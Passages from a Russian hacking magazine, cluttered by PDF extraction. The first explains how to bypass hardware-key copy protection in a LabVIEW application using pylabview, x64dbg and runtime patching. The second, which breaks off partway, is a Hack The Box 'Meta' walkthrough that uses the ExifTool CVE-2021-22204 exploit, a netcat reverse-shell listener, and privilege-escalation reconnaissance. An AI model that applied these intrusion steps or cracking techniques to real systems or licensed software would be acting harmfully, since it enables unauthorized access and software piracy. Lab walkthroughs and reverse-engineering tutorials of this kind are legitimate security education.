
 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЛОМАЕМ ПРИЛОЖЕНИЕ НА ЯЗЫКЕ G, СОЗДАННОЕ В LABVIEW

МВК

Сущес­ тву­ ют­ весьма­ экзотич­ ные­ языки­ программи­ рова­ ния­ . Один из них — язык G, для которого­ компания­ National Instruments создала­ специаль­ ную­ среду­ разработ­ ки­ под наз ­ ванием­ LabVIEW. Тема реверса­ такого софта­ практичес­ ки­ не раскры­ та­ из за узкой специали­ зации­ подобных­ прог ­ рамм. Это упущение­ , я надеюсь­ , поможет исправить­ сегод ­ няшняя статья.

Воисти­

ну­ безгра­ нич­ на­ фантазия­

маркетоло­

гов­ , проекти­

рующих­

продук­ ты­

для ленивых людей. Еще

на заре

эры визуаль­ ного­

программи­

рова­

ния­

в какую то светлую­

голову пришла­ идея, что нубу, который не может осилить­

синтаксис­

самого простецко­

го­ языка­ программи­

рова­

ния­

 

высокого­ уровня­ ,

будет проще­ рисовать программу­

в виде блок схемы­ , как в школе­ . Несос ­

тоятельность­

подобного­

предположе­

ния­ очевид­ на­ : если у пациента­

напрочь­

отсутству­ ет­ структурное­

логическое­ мышление­

, то он и блок схему­ не сможет­

правиль­

но­ нарисовать­

. А если такой навык имеется­

, то освоить­ несложный­

синтаксис­

для него совершенно­

не проблема­

, зато писать тексто­ вый­

 

код

гораздо­

сподручнее­

, чем громоз­ дить­

друг на друга­ тысячи блоков­ в визуаль­ ­

ном редакторе­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Но маркетинг­

— сильная­ вещь, и данная­ технология­

не то чтобы­ слишком­

глубоко­

, но все же укорени­

лась­

на рынке­ и отвоева­ ла­ себе определен­

ный­

сегмент­

: появились­

 

Smalltalk и ему подобные­ . В современ­

ности­

очеред­ ным­

чудовищным­

порождени­

ем­

данного­

 

 

подхода­

 

стал графичес­

кий­

язык прог ­

раммирова­

ния­

G фирмы­ National Instruments. Для его поддер­ жки­

была соз ­

дана монстру­ озная­

 

среда­ разработ­

ки­ и платформа­

для выполнения­

прог ­

рамм LabVIEW (англ. Laboratory Virtual Instrumentation Engineering Workbench),

в которой можно­ даже создавать­

визуаль­ ные­

 

standalone исполняемые­

при ­

ложения­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Основная­

аудитория­

этой среды­ разработ­

ки­ — технари­

, знающие­

железо,

но не особо­ сведущие­

в его программи­

рова­

нии­ , которые, поддавшись­

рек ­

ламе,

 

надеются­

 

по быстро­ му­

 

нарисовать­

на

коленке­

 

интерфейс

к какому нибудь китайско­ му­ датчику­

или роботу из лего. По счастью, чуток

набравшись­

 

опыта­ , они или сами переходят­

на нормаль­

ные­

языки­ прог ­

раммирова­

ния­ , или находят специаль­

но­ обучен­ ных­

 

людей, способ­ ных­

написать программу­

за них. Либо просто­ бросают­

это

 

неблагодар­

ное­

занятие, ужаснувшись­

неудобству­ среды­ разработ­

ки­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Именно­ поэтому­ мы практичес­

ки­ не встречаем­

среди­ распростра­

нен­ ных­

коммерчес­

ких­ пакетов данные­

порождения­

тьмы, терзающие­

взор здорово­

го­

человека­ неестес­ твен­

ным­

видом интерфейса­ , диалоговых­

 

окон и контро­ лов­ .

Тем не менее они все таки попадаются­

среди­ узкоспециаль­

ных­

 

утилит­ под ­

держки­

экзотич­ ного­

железа, и их даже защищают­ от копирования­

. Встреча­

с подобной­

 

защитой — адский кошмар­

 

для хакера даже не потому, что

защита хорошо продума­

на­ техничес­

ки­ . Просто­ , как ты скоро­ убедишь­

ся­ ,

архитек­

тура­

подобных­

приложе­

ний­ закрыта­

и неудобна­ в отладке.

 

 

 

 

 

 

 

 

 

 

 

Итак, рассмот­

рим­

пример­

конкрет­

ного­

приложе­

ния­ . Обычно­ это система­

управления­

техничес­

кими­

процес­ сами­

, в нашем случае­

 

— интерфейс нас ­

тройки­

специфи­

чес­ кого­

железа,

защищенный­

серьезным­

аппарат­ ным­

клю ­

чом, при

отсутствии­

 

которого­

программа­

 

 

 

выдает­

довольно­

 

необычное­

с дизайнер­ ской­

точки­ зрения­ сообщение­

об ошибке­ и работает­ с урезан­ ной­

функци­ ональ­

ностью­

. Как именно­ мы определи­

ли­ , что перед нами — порож ­

дение LabVIEW? Это вовсе­ не очевид­ но­ , ни DIE, ни Exeinfo (и, насколь­

ко­ мне

известно­ , остальные­

детекторы­

) этот формат­ не определя­

ют­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

Из специфи­

ки­ строения­

подобных­ приложе­

ний­ можно­ отметить­

разве­ что

крохот­

ный­

кусок исполняемо­ го­ кода без какого то специфи­

чес­ кого­

импорта

с прицеп­ ленным­

к нему огромным запакован­ ным­

и зашифрован­

ным­

овер ­

леем,

занимающим­

 

свыше­ 99% общего­ объема­

файла­ . В коде загрузчи­

ка­

можно­ найти­ тексто­ вые­

строки­ LabVIEW,

National

Instruments и LVRT.

Правда­ , их наличие вовсе­ не гарантирова­

но­ . Другой­

 

подсказ­

кой­

о про ­

исхождении­

программы­

может стать упомяну­

тый­

вырвиглаз­

ный­

дизайн эле ­

ментов­ управления­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Пример­ интерфейса­ , скриншот­ из документации­

Мы потихоньку­ подошли­ к загрузке­ программы­ в отладчик, в качестве­ которо ­ го будет использовать­ ­ся наш любимый x64dbg. К счастью, программа­ бла ­ гополуч­ ­но туда загружа­ ­ется и запускает­ ­ся. Толку­ , правда­ , от этого­ немного­ : ни строк, ни малейших­ участков­ , похожих на все виды известно­ ­го нам исполняемо­ ­го кода, не появляет­ ­ся даже в дампе­ . Все действие­ программы­

в основном крутит­ ­ся внутри­ модуля LVRT.DLL, наличие которого­ , пожалуй, и является­ отличитель­ ­ной особен­ ­ностью исполняемых­ приложе­ ­ний, соз ­ данных в этой среде­ разработ­ ­ки.

Этот библиотеч­ ный­ модуль представ­ ляет­ собой ядро виртуаль­ ной­ машины (если ее можно­ так назвать­ ), имеет­ множес­ тво­ экспортиру­ емых­ функций­ , но, к сожалению­ , совершенно­ не документирован­ ных­ . Мы еще вернемся­ к дан ­ ному модулю, а пока попробу­ ем­ зайти­ с другой­ стороны­ .

При первичном­ осмотре приложе­ ­ния мы уже заметили­ , что основной его объем­ занимает­ шифрован­ ­ный оверлей­ с практичес­ ­ки нулевой энтропией­ . Справед­ ­ливо полагая, что весь код и данные­ приложе­ ­ния сосредото­ ­чены именно­ в нем, приступим­ к его исследова­ ­нию. Открыв программу­ в любом редакторе­ ресурсов­ или обычном­ архивато­ ­ре, обращаем­ внимание­ на наибо ­ лее увесис­ ­тую часть оверлея­ .

Модуль­ в архивато­ ре­

Извле­ чем­ ресурс 2 в отдельный­ файл и рассмот­ рим­ его более присталь­ но­ . Сразу­ бросает­ ся­ в глаза­ сигнатура­ RSRC, которая наталкива­ ет­ на мысль

оформате­ resource fork Mac OS. Собствен­ ­но, сами разработ­ ­чики и говорят

отом, что взяли­ за основу­ данный­ формат­ , посколь­ ­ку LabVIEW изначаль­ ­но создавал­ ­ся для этой платформы­ , а позже­ , в версии­ 2.5, был перенесен­

на другие­ ОС.

Ресурс­ 2 в hex-редакторе­

Это уже какая то отправная­ точка­ . Немного­ погуглив­ , мы обнаружи­ ваем­ , что до нас исследова­ ния­ в этом направле­ нии­ уже проводи­ лись­ и упомяну­ тый­ формат­ частично­ реверсирован­ . Рассмат­ рива­ емый­ нами заголовок­ выглядит­ вот так:

Length

Type

Value

 

 

 

6

string

"RSRC\r\n"

 

 

 

2

 

?

 

 

 

4

string

"LVIN" (LabVIEW Instrument?)

 

 

 

4

string

"LBVW" (LabVIEW?)

 

 

 

4

uint32

RSRC Info Ofset

 

 

 

4

uint32

RSRC Info Size

 

 

 

4

uint32

RSRC Data Ofset

 

 

 

4

uint32

RSRC Data Size

 

 

 

Вторая­ хорошая новость — нам вовсе­ не обязатель­ но­ писать свой парсер­ , посколь­ ку­ добрый­ человек под ником mefstotelis уже сделал­ все за нас, запилив инстру­ мент­ pylabview, который умеет­ очень многое­ . Для его исполь ­ зования потребу­ ется­ Python, после­ установ­ ки­ которого­ мы сможем­ преобра­ ­ зовать богомерзкий­ шифрован­ ный­ ресурс в обычный­ ZIP-архив при помощи такой команды­ :

readRSRC.py -x -i 20

Распаковав­ получивший­ ся­ архив 2_LVzp.bin, мы увидим­ множес­ тво­ вложен­ ­ ных каталогов­ с файлами­ .VI (Visual Instrument), .CTL (элемен­ ты­ управления­ ) и другими­ .

По сути, эти файлы­ — составные­ части­ проекта­ LabVIEW. Если загрузить­ их в эту среду­ разработ­ ки­ , теоретичес­ ки­ можно­ пересобрать­ проект­ заново. Такая возможность­ существу­ ет­ и в самом pylabview, что, конечно­ , радует­ , но нашу радость портит­ один маленький­ нюанс. Вся наша работа, по сути, продела­ на­ зря, ибо файлы­ VI — уже откомпилиро­ ван­ ные­ файлы­ програм­ мно­ ­ го байт кода, а исходные блок схемы­ безвоз­ врат­ но­ утрачены­ . Максимум­ , на что мы можем рассчи­ тывать­ , загрузив­ все эти файлы­ в LabVIEW, — это строковые­ значения­ , имена­ классов­ и методов, их иерархию­ ссылок­ и расположе­ ние­ контро­ лов­ на панели. Что абсолют­ но­ не приближа­ ет­ нас к реверсу­ кода и пониманию­ логики функци­ они­ рова­ ния­ программы­ .

Немного­ поможет нам в этом pylabview. Посколь­ ­ку файл VI тоже RSRCресурс, можно­ и его разложить­ по расшифро­ ­ван­ным распакован­ ­ным блокам­ при помощи следующей­ команды­ :

readRSRC.py -vv -x -i myVI.vi0

Сразу­ предуп­ реждаю­ , что pylabview вовсе­ не универ­ саль­ ный­ инстру­ мент­ для всех актуаль­ ных­ версий­ LabVIEW, поэтому­ при выполнении­ последней­ операции­ могут возникнуть­ ошибки­ , связан­ ные­ с версиями­ файлов­ . У меня лично­ получилось­ побороть эту проблему­ тупым комменти­ рова­ нием­ строк модуля LVblock.py:

if version_unk_len != 0:

raise AttributeError("Block {} section {} always zero value 1

is {} instead of {}"\0

.format(self.ident,section_num,version_unk_len,0))

На выходе мы получаем­ набор расшифро­ ван­ ных­ и распакован­ ных­ (обычно­ использует­ ся­ компрес­ сия­ zlib) блоков­ , составля­ ющих­ файл VI, и краткую­ информацию­ о нем в виде XML-файла­ . Попутно­ мы получим секции­ *.bin, содержащие­ откомпилиро­ ван­ ный­ платформен­ но­ зависимый­ код (наконец то мы до него добрались­ ) и даже его карту­ по относитель­ ным­ адресам­ сле ­ дующего­ вида:

Address

Publics by Value 0001:00000E00

_Z17_InitCodePtrsProcPP13VICodePtrsRec

0001:0000002C codeBlob

К сожалению­ , это снова­ мало что нам дает в плане­ анализа­ : все привяз­ ки­ внутри­ кода к строкам­ и реальным­ адресам­ выполняют­ ся­ при загрузке­ VI в память, поэтому­ понять что либо в таком непривязан­ ном­ коде просто­ нере ­ ально­ . Но мы попытаемся­ . Вниматель­ но­ посмотрев­ на секции­ кода от разных­ VI, обращаем­ внимание­ , что после­ блока­ данных­ в заголовке­ код обязатель­ ­ но начинается­ с конструк­ ции­ подобного­ вида:

00000380: 53

push

ebx

00000381: 57

push

edi

00000382: 56

push

esi

00000383: 83EC28

sub

esp,028

00000386: 8B442440

mov

eax,[esp][040]

0000038A: 48

dec

eax

0000038B: 8B7C2438

mov

edi,[esp][038]

0000038F: 83F81C

cmp

eax,01C

00000392: 7629

jbe

0000003BD --↓1

00000394: 8B476C

mov

eax,[edi][06C]

00000397: C7403C00000000

mov

d,[eax][03C],0

0000039E: 8B07

mov

eax,[edi]

000003A0: 893C24

mov

[esp],edi

000003A3: C744240800000000

mov

d,[esp][8],0

000003AB: C744240409000000

mov

d,[esp][4],9

000003B3: FF5068

call

d,[eax][068]

000003B6: 83C428

add

esp,028

000003B9: 5E

pop

esi

000003BA: 5F

pop

edi

000003BB: 5B

pop

ebx

000003BC: C3

retn

 

000003BD: 8B4C243C

1mov

ecx,[esp][03C]

000003C1: FF248500000000

jmp

d,[eax]*4[0]

Мы видим процеду­ ру­ с тремя­ параметрами­ . Первый­ из них — индекс в таб ­ лице адресов­ , по которым выполняет­ ся­ переход в конце­ . Общее количество­ адресов­ разное­ в зависимос­ ти­ от секции­ , в данном­ случае­ 28. На самом деле каждый­ фрагмент­ кода, на который указыва­ ет­ адрес перехода­ , — так называ ­ емый повторя­ ющий­ ся­ блок (RepeatedBlock). Это линейный­ на диаграмме­ фрагмент­ кода. Эти блоки­ следуют­ друг за другом­ , переключение­ между­ ними осущест­ вля­ ется­ внутри­ блока­ . Попробу­ ем­ понять, каким образом­ блоки­ вызываются­ из виртуаль­ ной­ машины LB.

Для этого­ откроем­ нашу программу­ в x64dbg и проследим­ за ней до того момента­ , где нужный­ нам VI, по идее, должен­ быть загружен­ , после­ чего поищем этот код глобаль­ но­ по памяти процес­ са­ . Мы видим, что код действи­ ­ тельно­ загружен­ , причем­ ссылки­ на перемещаемые­ адреса­ уже привяза­ ны­ . Ставим­ точку­ останова­ на его вход. Как только­ точка­ останова­ срабаты­ вает­ , по адресу­ возвра­ та­ мы легко­ и непринуж­ денно­ выходим на интерпре­ татор­

этих самых RepeatedBlocks. Разумеется­ , он находится­ внутри­ модуля LVRT, и его основной цикл выглядит­ чертов­ ­ски просто­ :

7BEC3F37

| 8B7E

10

| mov

edi,dword ptr ds:[esi+10]

7BEC3F3A

| 8BCB

 

| mov

ecx,ebx

7BEC3F3C

| 8B46

10

| mov

eax,dword ptr ds:[esi+10]

7BEC3F3F

| 81E3

FFFFFF00

| and

ebx,FFFFFF

; Старший байт индекса —

номер

секции

7BEC3F45

| C1F9

18

| sar

ecx,18

; Индекс

вызываемого RepeatedBlock

7BEC3F48

| 53

 

| push ebx

7BEC3F49

| 57

 

| push edi

7BEC3F4A

| 8B50

14

| mov

edx,dword ptr ds:[eax+14]

; Указатель на блок следующего

VI

7BEC3F4D

| 52

 

| push edx

7BEC3F4E

| 8B02

 

| mov

eax,dword ptr ds:[edx]

; Таблица адресов обработчиков

секций

7BEC3F50

| 8B4488 78

| mov

eax,dword ptr ds:[eax+ecx*4+78]

7BEC3F54

| FFD0

 

| call eax

; Возвращается индекс следующего исполняемого RepeatedBlock

7BEC3F56

| 8BD8

 

| mov

ebx,eax

7BEC3F58

| 83C4

0C

| add

esp,C

; Если значение

отрицательное,

требуется выполнить некие действия

; Чаще всего — подгрузить следующий VI или перерисовать интерфейс

7BEC3F5B

| 85DB

 

| test ebx,ebx

; На начало

 

 

 

7BEC3F5D

| 7F D8

 

| jg lvrt.7BEC3F37

Теперь­ у нас есть за что зацепиться­ ! Установив­ точку­ останова­ на вызов обработ­ чика­ RepeatedBlock и поставив­ в ней текст журнала­ call {eax} index {[esp+8]}, мы получим лог последова­ тель­ нос­ ти­ вызовов повторя­ ­ ющихся­ блоков­ следующе­ го­ вида:

0

...0

call to DFB3C00 method 20 call to DFB3C00 method 10 call to DFB3C00 method F0 call to 123D6110 method 10 call to 120B2B10 method 10 call to 123D6110 method B0 call to 11619130 method 10 call to 11550F80 method 10 call to 11619130 method B0 call to 123D6110 method D0 call to DFB3C00 method 110

Поток­ 297C завершен­ 0 Поток­ 3464 завершен­ 0

call to DFC3070 method 00 call to DFB3C00 method 150 call to DFB3C00 method 190 call to 17E19630 method 10 call to 17E19630 method 110 call to 17E48F40 method 10 call to 17E19630 method 130 call to DFCF210 method 00 call to 17CC19C0 method 10 call to 123D6110 method 10 call to 120B2B10 method 10 call to 123D6110 method B0 call to 11619130 method 10 call to 11550F80 method 10 call to 11619130 method B0 call to 123D6110 method D0 call to 17CC19C0 method D0

...

0

Слева­ — адреса­ обработ­ чика­

текущей секции­ , справа­ — индекс текущего­

повторя­

юще­

гося­

блока­ . Как видим, код, по сути, одномер­ ный­ , хоть и нелиней ­

ный. То есть вложен­ ность­

наверняка­

присутс­ тву­ ет­ на внешнем­

уровне­ ,

но реализова­

на­ она без рекурсии­ , указатель­

стека­ (насколь­

ко­ я могу судить)

всегда­ остается­

на месте­ . Таким образом­ , мы получили­ хоть и ужасно­ неудоб ­

ный, но все же инстру­ мент­

анализа­

, отслежива­

ющий­

ветвле­ ния­ . Сравнив­ две

трассы­ ,

с ключом­

и без,

мы можем найти­ развилку­

в коде

VI

и RepeatedBlock внутри­ него, переключив­

ший­

исполнение­ программы­

на дру ­

гую ветку­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Дальше­ все довольно­ сурово: внутри­ RepeatedBlock логика безумно­ слож ­

на. Как я уже говорил, библиоте­

ка­ LVRT.dll имеет­ множес­ тво­

 

выходов

экспортиру­

емых­

 

функций­

,

 

большинс­

тво­

из

 

которых

крайне­

 

трудны­

для понимания­ . Но попадаются­

среди­ них простые­ и понятные­ . Остановим­

ся­

на паре из них.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

LabVIEW позволя­

ет­ пользовате­

лю­ вызывать функции­

API и сторон­ ние­

динамичес­ кие­ библиоте­

ки­ . Установив­

точку­

останова­

на внешнюю­

API-шную

функцию­

, легко­ убедить­

ся­ , что она всегда­ вызывается­

из кода RepeatedBlock

через хитрый­

шлюз посредс­

твом­

функции­

ExtFuncWrapper. Установ­ ка­ точек

останова­

на которые сильно­ облегчит отслежива­

ние­

системных­

 

API-шных

вызовов из программы­

. Другая­ проблема­

с тексто­ выми­

строками­

— хоть они

и не зашифрованы­

на момент исполнения­

программы­

, но на них напрочь­

отсутству­ ют­ прямые­

ссылки­ из кода.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тут нам поможет другая­ функция­

: CopyLStr, через которую RepeatedBlock

получает­ доступ­ к любой загружен­

ной­

на данный­

момент строковой­

констан­

­

те. Оба параметра­ данной­

функции­

— двойные­

указате­

ли­ на строку­ со счет ­

чиком (счетчик­

внезап­ но­ 32-битный­ ). Первый­

параметр — источник, вто ­

рой — получатель­

. Подобные­

маленькие­

хитрости­

помогают­ постичь­

логику

работы программы­

и отыскать­

патч, а это весьма­ нелегко­ .

 

 

 

 

 

 

 

Внашем случае­ достаточ­ ­но поменять один байт внутри­ RepeatedBlock.

Виной ситуации­ мы просто­ бы взяли­ Hiew или любой другой­ шестнад­ ­цатерич ­ ный редактор­ и поменяли­ бы нужное­ значение­ в нем, однако­ , я надеюсь­ , ты

помнишь­

, с каким трудом­

мы извлекли­ открытый­ код из скомпилиро­

ван­ ного­

.

EXE? Мы в большой­

беде,

ибо

 

код как минимум

дважды­

зашифрован­

и запакован­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Можно­

попробовать­

пойти­ тем же путем: при помощи pylabview собрать­

VI

из бинарных­

модулей и XML, потом добавить его в архив 2_LVzp.bin,

который тем же pylabview сконверти­

ровать­

в ресурс RSRC, а уже его редак ­

тором ресурсов­ превратить­

в EXE. В теории выглядит­

просто­ , однако­ сразу­

предуп­ реждаю­

,

что

 

на

 

практике­

 

этот путь тернист­

и трудно­ преодо­ лим­ .

К сожалению­ , как

я уже говорил, pylabview все таки достаточ­

но­ сырой

и неунивер­ саль­

ный­

 

инстру­ мент­

. К тому же параноидаль­

ные­

разработ­

чики­

из конторы­

National Instruments снабдили­

свой формат­

 

таким количеством­

цифровых­

подписей­

, контроль­

ных­

 

сумм и хешей, меняющих­

ся­ от версии­

к версии­ , что можно­ намертво­ встрять уже на первом­

этапе­

компонов­

ки­ VI-

файла­ из составных­

блоков­ (как это было у меня).

 

 

 

 

 

 

 

 

 

 

 

 

 

Конеч­ но­ , если ты большой­

любитель питона и хочешь помочь человечес­ ­

тву, то можешь допилить функци­ ональ­

ность­

pylabview под свою версию­ , благо­

этот проект­ свобод­ ный­

и исходники­ открыты­ . Но лично­ мне все же кажется­ ,

что проще­ патчить­

загружа­

емый­

код на лету. Принцип­

такого патча­ я опи ­

сывал в своих­ статьях­ многок­ ратно­

, поэтому­ напомню­ лишь общий принцип­ :

 

 

 

 

 

 

мы внедряем­

 

свой код в основной цикл интерпре­ тато­ ра­ . Код проверя­

ет­ ,

нужен ли загружа­

емо­ му­ RepeatedBlock патч, и выполняет­

его (права­ доступа­

в данном­

случае­ позволя­

ют­ это делать). Но этот метод, конечно­ , на любителя­ .

Возможно­

, читатель придума­

ет­ какой то свой, более прямой­

и оригиналь­

ный­

способ­ патча­ столь необычной­ среды­ , как LabVIEW.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ УЯЗВИМОСТИ В ОБРАБОТЧИКАХ ИЗОБРАЖЕНИЙ

Когда­ на сайт можно­ загрузить­ картинку­ , это повод для поиска­ уязвимос­ ­тей. В этой статье я расска­ ­жу, как определять­ ПО, которое использует­ ­ся для обработ­ ­ки кар ­ тинок, а затем мы проэкс­ ­плу­ати­руем най ­ денные­ баги. Чтобы­ повысить привиле­ ­гии, восполь­ ­зуем­ся техникой­ GTFOBins для эскалации­ через neofetch. Упражняться­ будем на средней­ по сложности­ машине

Meta с площад­ ­ки Hack The Box.

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.140 meta.htb0

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Мы нашли­ всего­ два открытых­ порта­ : 22 — служба­ OpenSSH 7.9p1 и 80 — веб сервер­ Apache. Вот только­ когда­ мы попытаемся­ обратить­ ся­ к сайту­ , нас перебросят­ на другой­ домен.

Новый­ домен

Меняем­ запись в файле­ /etc/hosts и обновляем­ страницу­ .

10.10.11.140 meta.htb artcorp.htb0

Главная­ страница­ сайта­

На сайте­ отметим­ для себя только­ имена­ пользовате­ лей­ , иногда­ это может пригодить­ ся­ . К сожалению­ , никаких точек входа­ найти­ не удалось­ , поэтому­ перейдем­ к сканиро­ ванию­ сайта­ .

Сканирование поддоменов

Так как сайт имеет­ свой собствен­ ­ный домен, стоит­ проверить­ , существу­ ­ют ли у него поддомены­ . Для этого­ используем­ сканер­ ffuf.

Одно­ из первых­ действий­ при тестирова­ ­нии безопасности­ веб приложе­ ­ ния — это сканиро­ ­вание методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информацию­ и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочитаю­ легкий­ и очень быстрый­ fuf. При запуске­ указыва­ ­ем сле ­ дующие параметры­ :

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количество­ потоков;

-u — URL;

-fc — исключить­ из результата­ ответы­ с кодом 403.

Выпол­ няем­ следующую­ команду­ :

ffuf -u http://artcorp.htb/ -t 256 -H 'Host: FUZZ.artcorp.htb' -w

subdomains-top1million-110000.txt0

Резуль­ тат­ сканиро­ вания­ поддоменов­

В выводе получаем­ почти­ все слова­ из списка­ , так как код ответа­ всегда­ 301. Поэтому­ стоит­ задать дополнитель­ ную­ фильтра­ цию­ , к примеру­ из всего­ спис ­ ка кодов убрать переадре­ сацию­ (опция -mc).

ffuf -u http://artcorp.htb/ -t 256 -H 'Host: FUZZ.artcorp.htb' -w

subdomains-top1million-110000.txt -mc 200,204,401,403,405,5000

Резуль­ тат­ сканиро­ вания­ поддоменов­

В итоге­ получим новый поддомен­ , а значит­ , обновим­ запись /etc/hosts.

10.10.11.140 meta.htb artcorp.htb dev01.artcorp.htb0

ТОЧКА ВХОДА

Перехо­ дим­ по найден­ ному­ адресу­ и получаем­ простень­ кую­ странич­ ку­ со ссылкой­ на приложе­ ние­ , которое находится­ в разработ­ ке­ .

Главная­ страница­ dev01.artcorp.htb

В приложе­ нии­ есть форма­ загрузки­ изображений­ . А это явно точка­ входа­ .

Форма­ загрузки­ изображений­

Способы­ загрузить­ какую то нагрузку­ сразу­ исчерпали­ себя, а вот воз ­ можности­ самого приложе­ ния­ заставили­ задуматься­ . Если отправить­ кар ­ тинку, нам вернут­ ее метаданные­ .

Метадан­ ные­ загружен­ ного­ приложе­ ния­

Вывод­ веб приложе­ ния­ очень похож на вывод утилиты­ ExifTool. Попробу­ ем­ поискать­ экспло­ иты­ для него.

ТОЧКА ОПОРЫ

Для поиска­ экспло­ ­итов я обычно­ использую­ Google. С его помощью я нашел экспло­ ­ит для CVE-2021-22204. В ExifTool версий­ с 7.44 до 12.24 можно­ выполнить­ произволь­ ­ный код при разборе­ изображения­ из за некоррек­ ­тной обработ­ ­ки пользователь­ ­ских данных­ в формате­ DjVu. Для работы экспло­ ­ита необходимо­ установить­ следующие­ програм­ ­мные пакеты.

sudo apt install djvulibre-bin exiftool0

В строках­ 6 и 7 указыва­ ем­ адрес своего­ хоста­ и порт, который будет прос ­ лушиваться­ листенером­ (открываем­ командой­ rlwrap -cAr nc -lvp 4321).

Исходный­ код экспло­ ита­

В строке­ 24 вызывается­ сам ExifTool и ему передается­ файл с настрой­ ками­ . Пример­ конфига­ мне удалось­ найти­ в другой­ реализации­ экспло­ ита­ (параметр Name должен­ быть как в строке­ 24 экспло­ ита­ ).

%Image::ExifTool::UserDefined = (

'Image::ExifTool::Exif::Main' => {

0xc51b => {

Name => 'HasselbladExif',

Writable => 'string',

WriteGroup => 'IFD0',

},

},

);

1;

Теперь­ запустим­ скрипт для генерации­ вредонос­ ного­ файла­ . Если все прой ­ дет удачно­ , мы должны­ получить следующее­ сообщение­ .

Запуск­ файла­ репозитория­

После­ загрузки­ этой картинки­ моменталь­ но­ получаем­ реверс шелл на свой листенер­ .

Бэкконнект­

ПРОДВИЖЕНИЕ

Теперь­ , когда­ мы получили­ доступ­ к хосту­ , нам надо собрать­ информацию­ . Всяких­ закоулков­ в системе­ много­ , и, чтобы­ не держать­ их все в голове, были разработа­ ­ны скрипты­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль ­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информацию­ и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ют­ сис ­

тему на автомате­ .

Исполь­ зуем­ скрипт для Linux и, когда­ он отрабаты­ вает­ , находим в его резуль ­ татах следующую­ информацию­ :

в системе­ установ­ ­лен ImageMagick;

нам доступны­ для записи два интерес­ ­ных каталога­ — convert_images

и uploads.

Файлы­ , вероятно­ содержащие­ SSH-ключи­

Катало­ ги­ , доступные­ для записи

Больше­ ничего в глаза­ не бросилось­ , а что делать с тем, что имеем­ , непонят ­ но. Тогда­ попробу­ ем­ отследить­ запускаемые­ в системе­ процес­ сы­ . Для этого­ будем использовать­ pspy.

Логи­ pspy64

Обнаружи­ ваем­ регулярно­ запускаемый­ от имени­ пользовате­ ля­ (UID=1000)

